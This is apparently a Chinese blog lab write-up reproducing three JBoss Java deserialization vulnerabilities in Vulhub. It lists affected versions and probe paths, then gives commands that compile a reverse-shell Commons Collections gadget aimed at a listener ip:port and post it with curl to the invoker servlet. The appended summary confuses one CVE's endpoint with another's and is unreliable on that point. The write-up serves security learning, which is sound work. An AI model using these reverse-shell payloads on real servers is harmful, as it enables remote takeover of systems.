[Vulhub] JBoss反序列化漏洞复现


JBoss JMXInvokerServlet 反序列化漏洞(CVE-2015-7501)

0x00 漏洞描述

JBoss是一个基于J2EE的开放源代码应用服务器,代码遵循LGPL许可,可以在任何商业应用中免费使用;JBoss也是一个管理EJB的容器和服务器,支持EJB 1.1、EJB 2.0和EJB3规范。但JBoss核心服务不包括支持servlet/JSP的WEB容器,一般与Tomcat或Jetty绑定使用。在J2EE应用服务器领域,JBoss是发展最为迅速的应用服务器。由于JBoss遵循商业友好的LGPL授权分发,并且由开源社区开发,这使得JBoss广为流行。

这是经典的JBoss反序列化漏洞,JBoss在/invoker/JMXInvokerServlet请求中读取了用户传入的对象,然后我们利用Apache Commons Collections中的Gadget执行任意代码。


0x01 影响版本

JBoss Enterprise Application Platform 6.4.4,5.2.0,4.3.0_CP10
JBoss AS (Wildly) 6 and earlier
JBoss A-MQ 6.2.0
JBoss Fuse 6.2.0
JBoss SOA Platform (SOA-P) 5.3.1
JBoss Data Grid (JDG) 6.5.0
JBoss BRMS (BRMS) 6.1.0
JBoss BPMS (BPMS) 6.1.0
JBoss Data Virtualization (JDV) 6.1.0
JBoss Fuse Service Works (FSW) 6.0.0
JBoss Enterprise Web Server (EWS) 2.1,3.0


0x02 漏洞分析

JBoss在处理/invoker/JMXInvokerServlet请求的时候读取了对象,所以我们直接将ysoserial生成好的POC附在POST Body中发送即可。

此漏洞存在于JBoss中 /invoker/JMXInvokerServlet 路径。访问若提示下载 JMXInvokerServlet,则可能存在漏洞。


0x03 漏洞复现

漏洞验证,访问http://your-ip:8080/invoker/JMXInvokerServlet提示下载文件,则可能存在漏洞:
在这里插入图片描述
使用 JavaDeserH2HC 工具生成序列化数据,工具地址:https://github.com/joaomatosf/javadeserh2hc

生成序列化数据,并默认重定向到ReverseShellCommonsCollectionsHashMap.ser文件(用ysoserial工具复现失败,没能找到原因):

javac -cp .:commons-collections-3.2.1.jar ReverseShellCommonsCollectionsHashMap.java
java -cp .:commons-collections-3.2.1.jar  ReverseShellCommonsCollectionsHashMap ip:port //监听机的ip和端口
curl http://192.168.1.142:8080//invoker/JMXInvokerServlet --data-binary @ReverseShellCommonsCollectionsHashMap.ser

利用curl提交二进制数据:
在这里插入图片描述
成功接收shell:
在这里插入图片描述


JBoss 4.x JBossMQ JMS 反序列化漏洞(CVE-2017-7504)

0x00 漏洞描述

JBoss AS 4.x及之前版本中,JbossMQ实现过程的JMS over HTTP Invocation LayerHTTPServerILServlet.java文件存在反序列化漏洞,远程攻击者可借助特制的序列化数据利用该漏洞执行任意代码。


0x01 影响版本

JBoss AS 4.x及之前版本


0x02 漏洞分析

与CVE-2015-7501的漏洞如出一辙,只是利用的路径稍微出现了变化。

该漏洞出现在/jbossmq-httpil/HTTPServerILServlet请求中,若访问200,则可能存在漏洞。


0x03 漏洞复现

访问http://your-ip:8080/jbossmq-httpil/HTTPServerILServlet,若出现以下界面,则可能存在漏洞:
在这里插入图片描述
与CVE-2015-7501复现流程相同,只是最后请求的url路径不同:
在这里插入图片描述
成功接收到shell:
在这里插入图片描述


JBoss 5.x/6.x 反序列化漏洞(CVE-2017-12149)

0x00 漏洞描述

该漏洞为 Java反序列化错误类型,存在于 Jboss 的 HttpInvoker 组件中的 ReadOnlyAccessFilter 过滤器中。其doFilter方法在没有进行任何安全检查和限制的情况下尝试将来自客户端的序列化数据流进行反序列化,导致攻击者可以通过精心设计的序列化数据来执行任意代码。


0x01 影响版本

JbossAS 5.x
JbossAS 6.x


0x02 漏洞分析

该漏洞出现在/invoker/readonly请求中,服务器将用户提交的POST内容进行了Java反序列化,导致传入的携带恶意代码的序列化数据执行。

访问/invoker/readonly, 如果出现报 500 错误,则说明目标机器可能存在此漏洞。


0x03 漏洞复现

访问http://your-ip:8080/invoker/readonly,则可能存在漏洞:
在这里插入图片描述
复现流程一样:
在这里插入图片描述
成功反弹shell:
在这里插入图片描述


参考链接:
https://cloud.tencent.com/developer/article/1672993(Jboss漏洞利用总结)

JBoss反序列化漏洞是指JBoss应用服务器中存在的一种安全漏洞,具体表现为Java反序列化错误类型。该漏洞存在于JBoss的HttpInvoker组件中的ReadOnlyAccessFilter过滤器中。该过滤器在没有进行任何安全检查的情况下尝试将来自客户端的数据流进行反序列化,从而导致漏洞的出现。攻击者可以利用此漏洞发送特制的请求,通过发送包含恶意序列化数据的POST请求到`/invoker/readonly`路径,实现远程代码执行的攻击。这个漏洞可以在JBoss 5.x和6.x版本中被利用。如果访问`http://ip:端口/jbossmq-httpil/HTTPServerILServlet`出现相关页面,就可能存在该漏洞。<span class="em">1</span><span class="em">2</span><span class="em">3</span> #### 引用[.reference_title] - *1* [jboss反序列化漏洞](https://blog.csdn.net/weixin_48776804/article/details/116919336)[target="_blank" data-report-click={"spm":"1018.2226.3001.9630","extra":{"utm_source":"vip_chatgpt_common_search_pc_result","utm_medium":"distribute.pc_search_result.none-task-cask-2~all~insert_cask~default-1-null.142^v92^chatsearchT3_1"}}] [.reference_item style="max-width: 50%"] - *2* *3* [JBOSS反序列化漏洞](https://blog.csdn.net/weixin_52206305/article/details/125534761)[target="_blank" data-report-click={"spm":"1018.2226.3001.9630","extra":{"utm_source":"vip_chatgpt_common_search_pc_result","utm_medium":"distribute.pc_search_result.none-task-cask-2~all~insert_cask~default-1-null.142^v92^chatsearchT3_1"}}] [.reference_item style="max-width: 50%"] [ .reference_list ]
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值